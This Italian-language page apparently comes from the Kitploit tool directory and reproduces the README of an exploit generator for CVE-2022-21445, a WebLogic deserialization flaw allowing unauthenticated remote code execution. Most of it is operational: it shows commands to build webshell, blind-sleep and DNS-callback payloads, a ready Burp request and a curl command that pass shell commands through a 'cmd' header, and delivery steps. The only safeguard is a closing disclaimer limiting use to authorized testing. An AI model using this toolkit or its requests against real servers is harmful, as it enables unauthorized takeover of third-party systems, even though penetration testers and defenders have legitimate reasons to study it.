Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2022-21445 — Exploit per CVE-2022-21445 di Oracle Weblogic 12.2.1.X | Kitploit
Strumenti/GitHubGitHub/necr00/cve-2022-21445
Generazione di PayloadAnalisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingRed Teaming
GitHubnecr00/cve-2022-21445

CVE-2022-21445

Exploit per CVE-2022-21445 di Oracle Weblogic 12.2.1.X

Vedi Repository
516 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2022-21445 Exploit - PoC

Questo toolkit genera payload di exploit per CVE-2022-21445, una vulnerabilità critica di deserializzazione Java che colpisce Oracle WebLogic Server 12.2.1.x con Oracle ADF Faces.

La falla risiede nel componente RemoteApplicationResourceLoader e permette a un attaccante di inviare una richiesta HTTP GET appositamente modificata che attiva una deserializzazione non sicura. Uno sfruttamento riuscito può portare a Remote Code Execution (RCE) non autenticato sul server di destinazione.

Prerequisiti

Scarica lo strumento
RequisitoVersioneScopo
Python3.6+Eseguire lo script di exploit
JDK1.8 (8u202 consigliato)Compilare ed eseguire il generatore di payload Java
Weblogic12.2.1.XVersioni vulnerabili

Guida all'installazione

Installare JDK 1.8

Il payload deve essere compilato con JDK 1.8 per corrispondere al runtime Java del target.

root@kitploit:~
# Use SDKMAN:
sdk install java 8.0.402-tem

# Select the java 8
sudo update-alternatives --config java
root@kitploit:~
java -version    # Should show 1.8.x
javac -version   # Should show 1.8.x

Utilizzo

Generare un Payload Webshell

Crea un payload che legge i comandi dall'header HTTP cmd e restituisce l'output nel corpo della risposta.

root@kitploit:~
python3 exploit.py --version 12.2.1.4 --type webshell

Output:

root@kitploit:~
[*] Versione di WebLogic target: 12.2.1.4
[*] Tipo di payload: webshell
[*] Utilizzo dei JAR da: libs/12.2.1.4
[+] Passo 1/4: Rilevamento hash ClassIdentity per 12.2.1.4...
[*] Hash ClassIdentity rilevato: 423B02C050017B24DB10DFF759AA56BF
[+] Passo 2/4: Generazione classe payload webshell...
[+] Passo 3/4: Compilazione classi payload...
[+] Passo 4/4: Generazione payload serializzato...

======================================================================
  PAYLOAD GENERATO CON SUCCESSO
======================================================================

[*] Tipo di payload: webshell
[*] Lunghezza payload: 2156 caratteri

──────────────────────────────────────────────────────────────────────
PAYLOAD GREZZO:
──────────────────────────────────────────────────────────────────────
H4sIAAAAAAAAAA%3D%3DlVZb...

──────────────────────────────────────────────────────────────────────
RICHESTA BURP REPEATER:
──────────────────────────────────────────────────────────────────────
GET /app/afr/foo/remote/H4sIAAAAAAAAAA%3D%3DlVZb.../ HTTP/1.1
Host: target:port
cmd: whoami
Connection: close

──────────────────────────────────────────────────────────────────────
COMANDO CURL:
──────────────────────────────────────────────────────────────────────
curl -k -H "cmd: id" "https://target:port/app/afr/foo/remote/H4sI.../"

Generare un Payload Sleep (Cieco)

Per test ciechi — conferma l'esecuzione del codice se la risposta è ritardata.

root@kitploit:~
python3 exploit.py --version 12.2.1.4 --type sleep --sleep-time 10

Invia il payload e misura il tempo di risposta:

  • ~10 secondi: Esecuzione codice confermata
  • Istantaneo (< 1s): Il payload non viene eseguito (versione non corrispondente, patch applicata o problema di codifica)

Generare un Payload DNS Callback

Per conferma out-of-band usando Burp Collaborator o simili.

root@kitploit:~
python3 exploit.py --version 12.2.1.4 --type dns \
    --dns-host cve-21445.abc123.oastify.com

Specificare un Target

Usa --target per ottenere output formattato con host e path di contesto corretti:

root@kitploit:~
python3 exploit.py --version 12.2.1.4 --type webshell \
    --target http://10.0.0.50:8002/test

Questo formatta la richiesta Burp e il comando curl con host e path corretti:

root@kitploit:~
GET /test/afr/foo/remote/PAYLOAD/ HTTP/1.1
Host: 10.0.0.50:8002
cmd: whoami

Salvare il Payload su File

root@kitploit:~
python3 exploit.py --version 12.2.1.4 --type webshell \
    --output payload.txt

Invio dell'Exploit

Utilizzando Burp Suite

  1. Esegui lo script per generare il payload
  2. Copia la sezione RICHESTA BURP REPEATER dall'output
  3. Apri Burp Suite → Repeater → Incolla la richiesta
  4. Imposta l'host e la porta target
  5. Clicca Invia
  6. Per la webshell: modifica il valore dell'header cmd per eseguire comandi diversi immagine

Risoluzione dei problemi

In caso di file Jar corrotti, segui le istruzioni per installare la versione desiderata di Weblogic ed estrarre i JAR pertinenti.

Questo estrae i JAR Oracle richiesti dall'immagine Docker ufficiale FMW Infrastructure.

root@kitploit:~
# Create the libs directory
mkdir -p libs/12.2.1.3
#or
mkdir -p libs/12.2.1.3

# Pull the Oracle FMW Infrastructure 12.2.1.3 or 12.2.1.4 image
# Note: You may need to accept the license at container-registry.oracle.com
docker pull container-registry.oracle.com/middleware/fmw-infrastructure:12.2.1.3.0
#OR
docker pull container-registry.oracle.com/middleware/fmw-infrastructure:12.2.1.4.0

#Let's say we need the JARs of 12.2.1.4 version (in case of 12.2.1.3 just replace .4 with .3 in the commands)

# Create a temporary container (don't need to start it)
docker create --name fmw1214_temp container-registry.oracle.com/middleware/fmw-infrastructure:12.2.1.4.0

# Extract the required JARs
docker cp fmw1214_temp:/u01/oracle/coherence/lib/coherence.jar ./libs/12.2.1.4/coherence.jar

docker cp fmw1214_temp:/u01/oracle/oracle_common/modules/oracle.adf.view/adf-richclient-api-11.jar ./libs/12.2.1.4/adf-richclient-api-11.jar

docker cp fmw1214_temp:/u01/oracle/oracle_common/modules/oracle.adf.view/adf-richclient-impl-11.jar ./libs/12.2.1.4/adf-richclient-impl-11.jar

docker cp fmw1214_temp:/u01/oracle/oracle_common/modules/oracle.adf.view/trinidad-api.jar ./libs/12.2.1.4/trinidad-api.jar

docker cp fmw1214_temp:/u01/oracle/oracle_common/modules/oracle.adf.view/trinidad-impl.jar ./libs/12.2.1.4/trinidad-impl.jar

Nota: Il JAR javax.mail (necessario per la codifica MIME base64) viene scaricato automaticamente da Maven Central al primo avvio. Nessuna configurazione manuale richiesta. Il payload della webshell utilizza pura riflessione e non necessita di weblogic.jar in fase di compilazione.


Disclaimer

Questo strumento è destinato esclusivamente a test di sicurezza autorizzati. Ottieni sempre un'autorizzazione scritta prima di testare sistemi di cui non sei proprietario. Gli autori non sono responsabili per un uso improprio. L'accesso non autorizzato a sistemi informatici è illegale.


Riferimenti

  • Oracle Critical Patch Update Advisory - Aprile 2022
  • CVE-2022-21445 - NVD
  • hienkiet/CVE-2022-21445-for-12.2.1.3.0-Weblogic